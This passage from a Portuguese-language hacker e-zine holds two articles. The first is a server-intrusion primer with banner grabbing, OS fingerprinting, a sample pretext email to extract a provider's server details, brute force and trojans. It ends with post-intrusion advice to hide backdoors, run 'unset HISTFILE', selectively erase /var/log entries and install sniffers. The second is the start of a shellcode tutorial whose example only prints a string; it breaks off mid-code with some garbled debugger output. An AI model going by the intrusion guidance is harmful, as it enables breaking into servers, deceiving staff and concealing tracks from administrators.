servicos oferecidos pelo mesmo, por exemplo: servidor de hospedagem, necessariamente
tera um daemon de ftp, como vc acha que se envia arquivos para ele? talvez
um daemon de ssh, pop3 e smtp, alem do proprio http, um provedor de acesso a
internet provavelmente tera um servidor de dns, pop3, smtp, http, e assim por
diante, como confirmar se eles tem isso mesmo? Um simples telnet pode dizer
isso e ainda mais, veja na parte 2.4 alguns exemplos, para avaliar as
possiveis brechas nos daemons uma busca em sites ou listas de seguranca
ou  hacking ajuda muito.
   Se ainda assim vc prefere fazer o scaneamento ao menos utilize ferramentas
que nao lhe entreguem para o admin de bandeja, como exemplo:

-Scanner Distribuido, uma ferramenta desenvolvida em PHP por tDs para
esse conceito pode ser encontrada em:
http://dfymder.motdlabs.org

-LD Scanning, uma ferramenta em perl, construida por DNS-, baseada neste
conceito pode ser obtida em:
http://cdm.frontthescene.com.br/ferramentas/LD-SCANING-POC.tgz

   Nao pretendo aprofundar neste texto o tema de scanners de rede, caso queira
buscar mais sobre o assunto sugiro uma leitura nos seguintes textos em portugues.

Jerry Slater -> Port Scanning http://cdm.frontthescene.com.br/artigos/portscan.txt
Jerry Slater -> LD-Scanning http://cdm.frontthescene.com.br/artigos/ldscanning.pdf
Hallucination -> Varreduras http://guide.motdlabs.org/edicoes/guide01/varreduras.txt
REPOLHO -> NMAP pode ser lido nesta mesma e-zine 

  Tenha sempre em mente que tomar atitudes que sao esperadas por um admin nao
eh muito inteligente, o ideal eh sempre inovar e criar novas formas, seja
imprevisivel...;)


2.4 - Analisando Banners
************************

   Todos os daemons apresentam um banner quando um usuario se conecta nele, esse
tipo de informacao eh  bem util para o atacante, ja para um usuario comum ou
admin nao vejo vantagem nenhuma de possuir este banner a nao ser propaganda do
programa...:/...caso vc seja o administrador da rede,  altere este banner
para qualquer outra coisa. Imaginemos a seguinte situacao, um hacker quer atacar
um servidor que presta servico de hospedagem de sites, ele nao quer passar um
scanner pq nao quer chamar atencao, mais mesmo assim precisa descobrir quais os
programas q gerenciam os daemons do host, numa visita a pagina ele descobre que
o server tem servicos de ftp, ssh, smtp, pop3, http rodando e talvez algum
programa de administracao remota como webmin ou outros... para descobrir o que esta
rodando nestas portas ele simplesmente se utiliza do telnet, como vemos abaixo:

inferninho@weapon:~$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ProFTPD 1.2.8 Server (ProFTPD Default Installation) [weapon.heart.org]

inferninho@weapon:~$ telnet localhost 22
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.7.1p2

inferninho@weapon:~$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 weapon.heart.org ESMTP Sendmail 8.12.10/8.12.10; Thu, 26 Feb 2004 13:03:47 -0300

   Poderia ser utilizado ainda o netcat, $ nc endereco porta.

   Para capturar o banner do daemon httpd ele se utiliza de um navegador em modo txt
do linux muito famoso, o lynx:

inferninho@weapon:~$ lynx localhost

   Apos a pagina aberta basta pressionar o sinal de '=' que o banner sera exibido.

Linkname: Test Page for the SSL/TLS-aware Apache Installation on Web Site
     URL: http://localhost/
 Charset: iso-8859-1 (assumed)
  Server: Apache/1.3.28 (Unix)
    Date: Thu, 26 Feb 2004 16:04:46 GMT
Last Mod: Tue, 19 Aug 2003 23:47:23 GMT
Owner(s): None
    size: 27 lines
    mode: normal

   Depois das consultas terem sido realizados ele constatou que o servidor tem,
ProFTPD 1.2.8, OpenSSH_3.7.1p2, Sendmail 8.12.10 e Apache 1.3.28., isso se os
banners nao tiverem sido alterados, situacao que dificulta em muito a acao do
atacante, mais ainda nao eh o suficiente para manter um host longe de hackers.


2.5 - Detectando o S.O.
***********************

   Detectar o sistema operacional de um servidor eh fundamental, isso implica
diretamente em que tecnicas vc podera usar contra o server, entao coloque a mao
na massa...:P... Como no caso do portscan eh possivel descobrir o S.O. de um
servidor apenas por deducao, como? Ainda na situacao criada acima, apos a
verificacao dos banners, fica visivel para o hacker que se trata de um sistema
unix ou linux, ou por acaso vc ja viu um windows rodando sendmail? no banner
do apache temos mais uma confirmacao disto, e ele ja sabe que se trata de um
slackware, pois ao visitar a web page do servidor, estava descrito nos planos
que eles usavam win2k e slackware (qual seria a utilidade de diser qual s.o. usa?)
, a menos que todas essas informacoes tenham sido forjadas o atacante ja coletou
informacoes mais que sufientes para tracar seu plano de ataque, obviamente esse
metodo pode apresentar erros, neste caso existem ferramentas que detectam o
sitema atraves da obtencao de impressao digitais de pilhas como exemplo temos:

  O Nmap que faz obtencao da pilha de forma ativa atraves da opcao -O, ou seja,
vc sera detectado por um provavel IDS...:/

root@weapon:/# nmap -O localhost
...
Running: Linux 2.4.X|2.5.X
OS details: Linux Kernel 2.4.0 - 2.5.20

  Existem ferramentas q obtem esses dados de forma passiva, desta forma sao
mais recomendadas que o uso do nmap.

p0F -> http://packetstorm.linuxsecurity.com/UNIX/scanners/p0f-2.0.2.tgz
Siphon -> http://siphon.datanerds.net/

para maiores detalhes sobre deteccao de S.O atraves de fingerprinting::
$ vim /usr/doc/nmap-3.45/nmap-fingerprinting-article.txt
dependendo da distro ou da versao do nmap o caminho pode ser outro...;)


2.6 - Usando Engenharia Social
******************************

   Muita gente nao considera engenharia social como hacking, pra mim
isso eh uma grande bobagem, passar horas discutindo o que eh hacking e
o que nao eh, no final cada um pensa e fala o que quer, o fato e que
a engenharia social funciona...:)...nao somente para conseguir uma shell
no host como tb para coletar informacoes do mesmo, como? veja o mail
a seguir, vamos supor que o hacker do caso anterior nao conseguiu
obter nenhum daqueles dados, ou acredita que eles nao sao confiaveis.
entao ela passa o seguinte fakemail para o responsavel pelo atendimento
ao cliente (ele conseguiu o mail deste na propria pagina do servidor).

Informacoes...
De: cliente@provedor.jp
Para: contato@provedor.jp

Ola,

Sou cliente de vossa empresa ja ha algum tempo, estou muito satisfeito
com o servico, o caso e que tenho um amigo que me questionou sobre o local
que eu hospedava minha pagina, e se o servico era bom... Sem pensar duas
vezes eu indiquei o provedor.jp, mesmo assim ele ficou um pouco preocupado
com relacao a seguranca do servidor, ja que pretende hospedar um site para
vendas de pecas de informatica e teme que seus clientes tenham seus cartoes
de credito usados indevidamente por terceiros, me perguntou sobre quais
daemons voces usam e sobre o sistema de IDS utilizado, como eu nao entendo
nada disso, nao pude responder, entao estou enviando este e-mail e pedindo
que se possivel estas informacoes fossem repassada para ele, o e-mail dele
e contalaranja@box.com.

Sem mais para o momento, agradeco desde ja.

Cliente


   Como vcs podem notar o hacker, se passou por um dos clientes da provedor.jp
, o que!? vc nao cairia nessa? heh, sei...;)

   Um script em perl que automatiza o processo do envio de fakemail pode ser
encontrado em:http://www.motdlabs.org/downloads/falsificator

   Tenha em mente que todos os ataques de engenharia social devem ser bem
pensados e adaptados a situacao e as pessoas envolvidas, entao nao se limite
aos exemplos dados.

  Para maiores detalhes sobre engenharia social:

Inferninho -> Engenharia Social
http://inferninho.motdlabs.org/papers/engsocial.txt

Mitnick -> A Arte de Enganar, em ingles pode ser baixado em:
http://greenhornet.motdlabs.org/Art_of_deception.zip


-----------------------------
3 - Partindo para a ofensiva |
-----------------------------

   Abaixo voce nao encontrara nenhum exemplo de tecnica para invasao, pretendo 
abordar algumas tecnicas em outros textos, de forma que tera apenas a enumeracao
de alguns poucos conceitos ja amplamente discutidos, existem muito mais coisa do
que as descritas aqui, muito mesmo, entao se voce ja esta na cena a algum tempo,
nao perca tempo lendo isto...;)   


3.1 - Avaliando as brechas
**************************

   Apos colher todas as informacoes do host, esta na hora de detectar quais as
possiveis falhas de seguranca que este tenha, uma forma de fazer isto eh procurar
por falhas especificas para a versao do daemon, em sites e listas espalhadas pela
internet, alguns conseguem memorizar varias tecnicas de invasao e quais
vulnerabilidades cada daemon tem, se vc nao tem memoria de elefante, nao se
intimide e recorra ao google.com ou melhor procure em sites como:

http://www.securityfocus.com/
http://www.securiteam.com/
http://packetstormsecurity.org/

   Outra forma de achar os bugs e usando um scaner de vulnerabilidade, como
ja dito antes eles nao sao recomendados, mais em todo caso, em particular
gosto muito do nessus e do n-stealth, que podem ser encontrados respectivamente
e gratuitamente em:

http://www.nessus.org
http://www.nstalker.com


3.2 - Senhas padroes e Brute force
**********************************

   Varios aplicativos, roteadores, etc. vem com senhas padroes por default, e 
por mais incrivel que pareca os administradores raramente dao um fim em tais senhas
seja por nao conhece-las ou ate mesmo por irresponsabilidade, o que voce tem 
haver com isso? Bom se voce conhece essas senhas padroes logo voce tera acesso
a tal servico, listas com essas senhas sao divulgadas aos montes pela internet
de uma procurada no google, e acredite, por mais estranho que possa parecer,
mais cedo ou mais tarde voce ira se deparar com uma maquina contendo senhas padroes, 
se e que nao ja topou.
   Brute Force consiste em ir tentando senha por senha ate encontrar alguma 
valida, isso pode ser feito manualmente ou atraves de programas que automatizam
o processo (bem mais pratico que fazer na mao), esses programas se utilizam de 
wordlist que se trata de um arquivo .txt contendo as senhas e/ou logins, 
normalmente no seguinte formato:

inferninho@weapon:~$ cat wordlist.txt  
joao
pedro
zezinho

   Assim como no caso das senhas padroes, e possivel encontrar centenas de 
wordlist espalhadas pela internet. Outra forma de se implementar um brute
force e usando o metodo que geralmente sao mostrados em filmes, tipo:

aaaaaa
aaaaab
aaaaac

   E assim por diante, obviamente esse metodo nao e tao bom quanto o anterior
e muito menos tao eficiente (a nao ser em alguns casos muito especificos) como
os filmes tentam fazer parecer, o ideal mesmo e que sua wordlist seja o mais
personalisada possivel para a sua vitima, assim os resultados devem ser melhores,
duas coisas ainda devem ser ditas sobre o brute force, e praticamente impossivel
numa rede com IDS faze-lo passar desapercebido, a segunda e que ele e sempre 
viavel, mais cabe a voce decidir se o tempo gasto com ele vale a pena.

Para se aprofundar no assunto basta ir no google digitar brute force, tenho 
certeza que encontrara diversos links. 
 
Na pagina do MOTD Labs e possivel encontrar algumas ferramentas para aplicar
o Brute Force:

http://www.motdlabs.org/downloads.html

Nash Leon -> Brutal Force
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/brutal_force.txt


3.3 - Trojans
*************

   Apesar de nao ser muito elegante, essa tecnica costuma ter resultados, ainda 
mais em usuarios leigos, o nome obviamente se origina da estoria do cavalo de 
troia, sua metodologia tambem consiste na mesma utilizada em tal ocasiao, entao
trata-se de um programa camuflado, que seja de extremo interesse do usuario (ou 
talvez nao, e possivel induzi-lo a rodar um programa sem o seu consentimento) 
que ao ser executado permite acesso para o invasor a algum recurso anteriormente
nao permitido ou algo do tipo, trojans sao encontrados aos montes pela internet,
mas quanto mais personalisados eles sao, melhores os resultados.

Nash Leon -> Backdoors e Trojans
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/backdoors_e_trojans.txt

e-brain -> Win32 Trojan Coding
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/win32_trojan_coding.txt


3.4 - Servicos mal configurados e/ou vulneraveis
************************************************

   Sempre que se consegue acesso atraves de um servico do servidor e porque ou 
este se encontrava mal configurado pelo admin ou estava com alguma falha no seu 
codigo que o torna vulneravel a um buffer overflow ou algum de seus parentes,
tecnicas e/ou exploits para ambos sao vastamente encontrados na rede, para ter 
sucesso, basta definir quais aplicativos o servidor tem rodando, atraves de 
metodos ja abordados aqui ou outros, em seguida deve-se comecar a tentar
explorar o servico por meios que voce tem conhecimento, uma boa forma de se 
manter atualizado sobre tecnicas e exploits e atraves de listas de discussoes, em
.br temos algumas interessantes:

http://lista.motdlabs.org
http://br.groups.yahoo.com/group/clube_dos_mercenarios/
http://br.groups.yahoo.com/group/frontthescene/

   Atraves de buscas pela internet, google ajuda bastante, com o tempo voce tera 
uma boa lista de sites sobre o assunto de sua preferencia, ou ainda atraves de 
contatos em private, podem ser amigos ou alguem que lhe deva um favor, ou apenas
voce estava no lugar certo e na hora certa...:P...Bom e isso, nao vou me 
aprofundar nisso senao o txt acaba ficando maior do que deveria.

Nash Leon -> Hacking the WEB
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/hacking_the_web.txt

Nash Leon -> CGI Problems
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/cgi_problems.txt

----------------
4 - Pos-invasao |
----------------

   Depois que voce conseguiu acesso a maquina cabe a voce tomar algumas medidas
para sua propria seguranca, ter acesso novamente ao host e ainda para coletar o 
maximo de informacao que puder do servidor.


4.1 - Garantindo acesso
***********************

   As formas mais usuais hoje em dia sao backdoors e contas validas, mais existem 
outras formas, na secao entitulada "trojans" tem um link que fala de forma mais 
detalhada sobre backdoors, mais em suma se trata de um programa que permite que 
voce acesse a maquina sempre que desejar sem ter que passar pelo processo de 
invasao novamente, existem diversos backdoors mas muitos mesmo, o bom e que 
voce tenho o seu proprio, mas caso ainda nao tenha experiencia para escrever
um, sugiro procurar um que lhe agrade, e pelo amor de Deus instale ele num lugar
que seja dificil de se encontrar, deixar backdoor no /tmp chega a ser sacanagem
apesar de que ja vi gente que se diz elito, fazendo isso...O_o

Uma backdoor escrita por Nash Leon do Clube dos Mercenarios pode ser encontrada
em: http://cdm.frontthescene.com.br/ferramentas/little_crow-v0.3.tar.gz


4.2 - Quem deixa rastro eh lesma...;)
*************************************

   Se voce nao tem intencao de deixar vestigios de sua entrada no servidor e
interessante dar um remodelada nos arquivos de logs, uma boa ideia e assim
que entrar no servidor digitar logo de cara 'unset HISTFILE' para que seus
comandos nao fiquem gravados no .bash_history, em seguida procurar os logs,
cada caso e um caso, e necessario que vc de uma estudada no servidor para 
saber o que esta sendo gravado ou nao, mais em todo caso a maioria dos logs
ficam em /var/log, e indicado que seja feita apenas uma alteracao neste 
arquivo, apagando apenas o trecho referente a sua presenca, pois apaga-lo 
totalmente e muito chamativo, exitem ferramentas que automatizam o processo,
conhecidas como cleanlogger, de uma procurada que vc encontra, elas sao muito 
indicadas mais e bom ser precavido e apos seu uso dar uma conferida para ver 
se ela realmente esta configurada para alterar todos os logs que o servidor 
esta gravando, caso nao, faca isso manualmente.


4.3 - Evitando "visitantes" indesejados
***************************************

   Caso voce nao tenha intencao de ter que dividir seu servidor com outro 
invasor, e conveniente que seja aplicadas correcoes no servidor por voce mesmo,
ao menos na falha pela qual voce obteve acesso, caso o admin seja extremamente
relaxado (voce ira notar isso, acredite) e aconselhado que se faca correcoes em
outras falhas que forem surgindo tambem, mas isso tudo e algo que fica a seu 
criterio.


4.4 - Cheirando a rede
**********************

   Instalar sniffer na rede para capturar o trafego da mesma e subsequentemente
adiquirir mais contas validas e informacoes sobre a rede, e realmente muito 
atraente e sugerido, para saber mais sobre o assunto leia o texto do hallucination
aqui mesmo nessa zine.

Sniffer feito por Nash Leon:
http://cdm.frontthescene.com.br/ferramentas/solitary-v0.7.tar.gz


----------------
5 - Finalizando |
----------------

   O texto acabou decaindo bastante nos ultimos topicos, a pressa para envia-lo
em tempo de ser publicado na e-zine colaborou em muito para isso, mas mesmo 
assim acredito que o mesmo tenha feito jus ao nome, se voce entrar nos links
que indiquei no decorrer do txt, com certeza, tera leitura por um bom tempo, pois
dentro deste existem mais links que levam a outros temas e assim sucessivamente.
Outra coisa, se voce achou o texto fraco, e sinal que ele nao era uma leitura 
recomendada para voce, entao nao venha me encher o saco falando que ta uma merda, 
sugiro que escreva um melhor ou recomende ele para seus inimigos...=)... para
quem gostou se aprofudem bem no assunto lendo todos links, pois em breve estarei
publicando textos com conteudo mais "pesado" e para compreensao do mesmo e bom que
se tenha ao menos esta base. Bom vou ficando por aqui.

[]'s

inferninh0 


links relacionados:
*******************

Hacking & Forensics, por Dum_Dum e Omegabite
http://cdm.frontthescene.com.br/artigos/Wendel-Junior-Enec2003.pdf

Manual Pratico para Newbies Pos-invasao, por r0ot
http://www.rootspage.host.sk/textos/newbiemanual.txt

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[05]-=[Shellcode Sem Segredos Parte I]-=|IP_FIX|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Shellcode Sem Segredos Parte I

Desenvolvido por IP_FIX.
ip_fix@motdlabs.com.br || everson3000@hotmail.com

18/04/2004 
Versão 1.0

MOTDLabs:  http://www.motdlabs.org
Lista:     http://lista.motdlabs.org

Dedicação: Todos do grupo MOTD, em especial o Scythium Alhazred e vbKeyDel.
           Narcotic pela ajuda em ASM e pelo empilha.c (vide motdlabs.org)
	   slalon pela shell remota num SuSe onde pude testar meus codes... :P

Thanks: Clube dos Mercenários: http://cdm.frontthescene.com.br
	Front The Scene:       http://www.frontthescene.com.br
	
Observação: Os código apresentados aqui podem ser extraído com a phrack extract.

Como vai galera? Sou eu mais uma vez para atormentar a vida de vocês, mas  creio
que  dessa  vez  não  será  tanto. Irei  dissertar  sobre  a  escrita  básica de
shellcodes, tentarei mostrar as facilidades e dificuldades dessa grande arte que
exige muita paciência e dedicação.

Resolvi escrever  esse tutorial  com o  intuito de  ajudar e  orientar os jovens
fuçadores, Newbies, que estão começando nesse novo mundo mas sentem dificuldades
de evoluírem devido ao escasso material de bom conteúdo em português. Reparo nos
canais IRC que a busca  desse tipo de material é  grande, mas as fontes que  são
passadas, geralmente  são: "Smashing  the stack  for fun  and profit", por Aleph
One, e também:  "TUTORIAL BASICO DE  ESCRITA DE SHELLCODES",  por Nash Leon.  Na
minha opinião, considero  esses uns dos  melhores artigos sobre  shellcodes, mas
não quer dizer que são os únicos.  Quando iniciei minha busca, me depa- rei  com
vários artigos que abrangem muito conceitos a  mais, e que ape- sar de serem  em
inglês, eram de fácil entendimento.  Com base nesses materiais, irei  transpor a
vocês que todo problema tem uma solução, que a chave para tudo é a persistência,
criatividade e malícia.  Levei vários tropeços  até aprender o  "mínimo" e agora
quero passar para todos vocês esse  mínimo que aprendi. Espero que façam  um bom
aproveito desse  material e  que isso  desperte o  interesse de  todos, para uma
maior discussão.

Desde já agradeço o apoio  que o grupo MOTD tem  dado não só a mim,  mas a todos
Newbies recém chegados ao underground que ficam em sua maioria, perdidos entre o
"BEM" e  o "MAL",  quero dizer  que muitos  ao chegar,  acabam caindo  em canais
lamers e defacers que faz com que  a mente dos novatos sejam usadas de  má forma
para atitudes ilegais e desrespeitosas, denigrindo ainda mais a imagem "hacker".
O MOTD por  só mostra a  realidade e os  caminhos para os  novatos, e com  isso,
muitos têm se juntado a cena ética do hacking brasileiro, aprendendo e ajudando,
isso faz todos ganharem. Obrigado galera!!! :) :P

Como já falei, a escrita de shellcodes  não pode ser dita como "fácil", mas  ela
também não é "difícil". Vejo que o maior problema da grande mai- oria é o  pouco
conhecimento  da  linguagem  Assembly,   que  é  fundamental  para   o  completo
entendimento. Quem mau viu  assembly na vida, vai  achar isso tudo uma  coisa de
louco, de  outro planeta, mas quem já programa em assembly vai achar mais do que
fácil. Entenderam o ponto que quis chegar? APRENDAM ASSEMBLY!!! Enquanto eu  não
parei,  estudei  e  "pratiquei",  mal conseguia  entender  os  'xor'  da vida...
Pratiquem muito Assembly!

Conhecimentos  de  C,  Linux  e   principalmente  Asssembly  são  mais  do   que
necessários, mas  somente o  básico. Uma  boa manipulção  com o  gcc e o gdb são
muito bem-vindas! :)

Antes gostaria  de informar  meu ambiente  de trabalho.  Vejo que alguns códigos
podem ter comportamentos diferente em outros sistemas. Estou usando um Slackware
9.1 sem qualquer modificação:

root@motdlabs:/# uname -a
Linux  motdlabs 2.4.22  #6 Tue  Sep 2  17:43:01 PDT  2003 i686  unknown unknown
GNU/Linux

root@motdlabs:/# gcc -v
Reading specs from /usr/lib/gcc-lib/i486-slackware-linux/3.3.1/specs
Configured with: ../gcc-3.3.1/configure --prefix=/usr --enable-shared
--enable-threads=posix --enable-__cxa_atexit --disable-checking --with-gnu-ld
--verbose --target=i486-slackware-linux --host=i486-slackware-linux
Thread model: posix
gcc version 3.3.1

root@motdlabs:/# cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 11
model name      : Intel(R) Pentium(R) III CPU             1000MHz
stepping        : 1
cpu MHz         : 999.728
cache size      : 256 KB
fdiv_bug        : no
hlt_bug         : no
f00f_bug        : no
coma_bug        : no
fpu             : yes
fpu_exception   : yes
cpuid level     : 2
wp              : yes
flags           : fpu vme de pse tsc msr  pae mce cx8 sep mtrr pge mca cmov  pat
                  pse36 mmx fxsr sse
bogomips        : 1992.29

root@motdlabs:/#

O padrão full  da instalação do  slackware, inclui o  gcc 3.2.3, mas  com testes
realizados com  o gcc  3.3.1 num  SuSe me  mostrou que  os código teriam que ser
reescritos de outra forma. Então instalei o gcc 3.3.1 que vem acompanhado no CD2
na pasta /extras. :)

        Agora chega de enrolação!
        Let's Rock! ;)


Um bom começo para escrever um shellcode, é primeiro fazer um protótipo dele  em
C. Com isso se tem uma melhor visão de como ele irá ficar em Assembly. Acompanhe
abaixo  nosso primeiro  código, ele  irá apenas  imprimir a  string MOTDLabs  na
tela.:

<++> shellcode/cwrite.c
/*
 *  Protótipo de um shellcode em C.
 *  Imprime a string "MOTDLabs" na tela.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o cwrite cwrite.c
 */

   #include 

   int main() {

   /* write(stdout,"MOTDLabs\n",strlen("MOTDLabs\n")); */
   write(1,"MOTDLabs\n",10);

   /* Sai limpo. */
   exit(0);

}
<--> shellcode/cwrite.c

 OBS: Sempre deixe seu código em C o mais simples possível.
 
 Sem segredos esse programinha. Mas vamos analisar suas funções:
 
Se  consegue  os  protótipos  das  funções  através  das  man  pages,  elas  são
extremamente úteis, pois  é a documentação  ofical! Muitas dúvidas  minhas foram
tiradas dela e certamente tirará as suas também!!! :)

root@motdlabs:~/IP_FIX/shellcode# man 2 write

ssize_t write(int fd, const void *buf, size_t count);

int fd:  Será um  inteiro representando  um arquivo,  ou em  nosso caso, a saída
padrão do monitor(STDOUT) que possui o valor de 1.

const void *buf: Aqui colocamos nossa string que será armazenada no buffer.

size_t count:  Colocaremos aqui  o número  total da  quantidade de caracteres de
nossa string, incluindo o \n.

 OBS: man 2 write  retornará um texto enorme,  mas só utilizarei o  que  irá nos
 interessar.

Super simples a função write(), mais simples ainda é a função exit().:

void exit(int status);

int status: Podemos usar EXIT_SUCESS (0) ou EXIT_FAILURE (1 ou -1).

Usamos a função exit() para que se algo der errado, nosso programa termine  numa
boa, por isso tem o  valor de 0 (EXIT_SUCESS), que  se der algo errado acima  do
código o programa encerra limpo.

       Bom, compile e execute e você verá que é muito simples mesmo.

root@motdlabs:~/IP_FIX/shellcode# gcc -o cwrite cwrite.c
root@motdlabs:~/IP_FIX/shellcode# ./cwrite
MOTDLabs
root@motdlabs:~/IP_FIX/shellcode#

	Agora com base nesse protótipo em C, vamos remontá-lo em ASM.

<++> shellcode/asmwrite.c
/*
 *  Protótipo de um shellcode em ASM.
 *  Imprime a string "MOTDLabs" na tela.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o asmwrite asmwrite.c
 */

#include 

main()
{
   __asm__(
           "mov    $0x1, %ebx  \n" /* STDOUT da função write().                                                     */
	   "push   $0x0A       \n" /* Aqui temos... (\n).                                                           */
	   "push   $0x7362614C \n" /* ...nossa string... (sbaL).                                                    */
           "push   $0x44544F4D \n" /* ...ao contrário. (DTOM).                                                      */
	   "mov    %esp, %ecx  \n" /* Como toda nossa string se localiza no Stack, vamos jogá-la para o contador.   */
	   "mov    $0xa, %edx  \n" /* Aqui está o tamanho da string: 0xa=10. Jogamos para o registradador de dados. */
           "mov    $0x4, %eax  \n" /* Nossa querida system call de write().                                         */
           "int    $0x80       \n" /* A melhor hora! Cai pro modo kernel e executa tudo acima!                      */
	   "mov    $0x0, %ebx  \n" /* Jogamos 0(EXIT_SUCCESS) em %ebx.                                              */
           "mov    $0x1, %eax  \n" /* Outra querida system call, da função exit() dessa vez.                        */
           "int    $0x80       \n" /* Finalmente! Tudo é executado!                                                 */
          );
}
<--> shellcode/asmwrite.c

O que acharam?  Simples não? Bom,  pra alguns sim,  pra outros não.  Se você não
entendeu,  estude mais  assembly, pegue  os links  no final  desse artigo  e se
debulhe!!! Mas mesmo assim irei explicar o que se passa.

Uma dúvida que geralmente trava os inciantes na linguagem assembly, é a passagem
dos argumentos das funções aos registradore, muitos ficam perdidos sem saber pra
qual passar aí vai  uma grande ajudar que  me abriu muito a  mente. Os problemas
acabaram quando achei o "Linux System Call Table" em um site que mostrava toda a
system call table que nós conhecemos em:

root@motdlabs:/# cat /usr/include/asm/unistd.h

E também  para qual  registrador cada  argumento vai,  veja o  exemplo da função
exit() e write():

 _____________________________________________________________________________________________
|%eax|    Name    |           Source           |      %ebx    |  %ecx  |  %edx  | %esx | %edi |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
| 1  |  sys_exit  | kernel/exit.c              |     int      |        |        |      |      |
| 4  |  sys_write | arch/i386/kernel/process.c | unsigned int | char * | size_t |      |      |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
	
	Vamos analisar o que fizemos e comparar com nossa pequena tabela. 
	Vamos ver a função write() e exit() novamente:

ssize_t write(int fd, const void *buf, size_t count);
              [%ebx], [    %ecx     ]  [    %edx   ]

void exit(int status);
          [  %ebx   ]

Quais conclusões que chegamos? Vimos que o número da system call  sempre  deverá
ser passada para %eax.  No caso de write(),  o inteiro sempre  deve  ser passado
para %ebx,  a  string para %ecx   e o tamanho  para  %edx!!! Em  exit() o  mesmo
raciocínio:  System call  em  %eax,  e o  int  para  %ebx. Compare tudo  isso no
código novamente.  Você verá que agora ele faz  bem mais sentido. :)

Com isso dá pra se chegar a conclusão que toda system call sempre irá para %eax;
argumento 1 para  %ebx; argumento 2  para %ecx; argumento  3 para %edx;  e assim
vai... Mas de qualquer colarei a tabela para acompanharmos com clareza.

Bem, agora  que terminamos  nosso protótipo   em C  e em  ASM. Vamos  logo pegar
todos  os  opcodes   (instruções  válidas)  em  hexadecimal   e  finalizar nosso
shellcode.  Compile o   asmwrite.c normalmente,  execute-o  para ter certeza  de
que funciona e vamos pegar os códigos hexadecimais no GDB.

root@motdlabs:~/IP_FIX/shellcode# gcc -o asmwrite asmwrite.c
root@motdlabs:~/IP_FIX/shellcode# ./asmwrite
MOTDLabs
root@motdlabs:~/IP_FIX/shellcode#

Funciona perfeitamente. Agora precisamos  debugá-lo para pegarmos os  códigos em
hexadecimal.

root@motdlabs:~/IP_FIX/shellcode# gdb asmwrite
GNU gdb 5.3
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb)

O gdb  pra quem  não conhece,  é um  GNU Debugger.  Um excelente debugador livre
muito completo. Não explicarei todos  os comando que ele possui,  mas explanarei
os quais  iremos usar.  Voltando ao  asmwrite vamos  "disassembliar" o  objeto e
conferir seu código:

(gdb) disassemble main
Dump of assembler code for function main:
0x8048314 
: push %ebp 0x8048315 : mov %esp,%ebp 0x8048317 : sub $0x8,%esp 0x804831a : and $0xfffffff0,%esp 0x804831d : mov $0x0,%eax 0x8048322 : sub %eax,%esp 0x8048324 : mov $0x1,%ebx 0x8048329 : push $0xa 0x804832b : push $0x7362614c 0x8048330 : push $0x44544f4d 0x8048335 : mov %esp,%ecx 0x8048337 : mov $0xa,%edx 0x804833c : mov $0x4,%eax 0x8048341 : int $0x80 0x8048343 : mov $0x0,%ebx 0x8048348 : mov $0x1,%eax 0x804834d : int $0x80 0x804834f : leave 0x8048350 : ret 0x8048351 : nop 0x8048352 : nop 0x8048353 : nop 0x8048354 : nop 0x8048355 : nop 0x8048356 : nop 0x8048357 : nop 0x8048358 : nop 0x8048359 : nop 0x804835a : nop 0x804835b : nop 0x804835c : nop 0x804835d : nop 0x804835e : nop 0x804835f : nop End of assembler dump. (gdb) Hehehe, adoro isso! :) Pra quem sabe um pouco de assembly, sabe que o começo é o prelúdio, prólogo ou processo incial, ele também reserva um espaço no stack e alinha a memória. Eles serão úteis quando falarmos sobre buffer overflows numa outra oportunidade não distante. :P Maiores informações, vide os links no fim do arquivo sobre assembly. Lá vocês encontrarão as respostas para suas perguntas! Voltando... Repare que nosso código começa somente em e a última instrução começa em . Então devemos pegar todos os opcodes em hexadecimal a partir de até . Mas não seria até ??? Sim, mas repare que a instrução "começa" em e prossegue até , ou seja, 1 antes da próxima instrução que no caso seria . Voltando a caça dos opcodes... O comando que usaremos é o x/xb, que irá nos retornar o código em hexa.: (gdb) x/xb main+16 0x8048324 : 0xbb (gdb) 0x8048325 : 0x01 (gdb) 0x8048326 : 0x00 (gdb) 0x8048327 : 0x00 (gdb) 0x8048328 : 0x00 (gdb) ... ... ... 0x804834a : 0x00 (gdb) 0x804834b : 0x00 (gdb) 0x804834c : 0x00 (gdb) 0x804834d : 0xcd (gdb) 0x804834e : 0x80 (gdb) Dica: Depois do x/xb main+16, aperte e segure a tecla ENTER, você verá que o processo será bem mais rápido. :) Ok, temos os códigos em hexadecimal e agora? Agora nós iremos montá-lo para poder ser executado.: <++> shellcode/hexawrite.c /* * Shellcode pronto em hexadecimal. * Imprime a string "MOTDLabs" na tela. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o hexawrite hexawrite.c */ #include char shellcode[] = "\xbb\x01\x00\x00\x00" /* mov $0x1, %ebx */ "\x6a\x0a" /* push $0x0A */ "\x68\x4c\x61\x62\x73" /* push $0x7362614C */ "\x68\x4d\x4f\x54\x44" /* push 